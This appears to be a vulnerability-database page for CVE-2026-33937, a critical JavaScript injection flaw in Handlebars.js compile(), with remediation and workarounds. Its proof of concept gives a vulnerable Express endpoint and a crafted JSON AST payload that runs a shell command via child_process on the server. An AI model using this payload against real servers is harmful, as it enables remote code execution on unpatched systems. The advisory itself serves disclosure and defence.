CVE-2026-33937 — Vulnerability in handlebars — CVE Details
Handlebars.js has JavaScript Injection via AST Type Confusion
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (2.03%). Schedule for your next planned update.
Does your project use an affected handlebars version?
Paste your package-lock.json to check it for CVE-2026-33937 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Advisory Timeline
- First published March 27, 2026 (244 days ago).
- Last revised September 10, 2026 — 166 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install handlebars@4.7.9
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| handlebars npm · Affected: All versions | 4.7.9 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-843
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4qWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-33937ADVISORY
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2WEB
- https://github.com/handlebars-lang/handlebars.jsPACKAGE
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9WEB
Frequently Asked Questions
- What is CVE-2026-33937?
- Handlebars.js has JavaScript Injection via AST Type Confusion. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-33937?
- CVE-2026-33937 affects handlebars. It has a 2.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33937 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top quartile of EPSS-scored vulnerabilities — 81.7% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-76807CRITICAL
Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server
- CVE-2026-106446CRITICAL
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
- CVE-2026-114516CRITICAL
Etherpad: Pre-auth arbitrary file read
- CVE-2026-106445CRITICAL
Handlebars: JavaScript Injection via Own Property Check Bypass
- CVE-2019-19919CRITICAL
Prototype Pollution in handlebars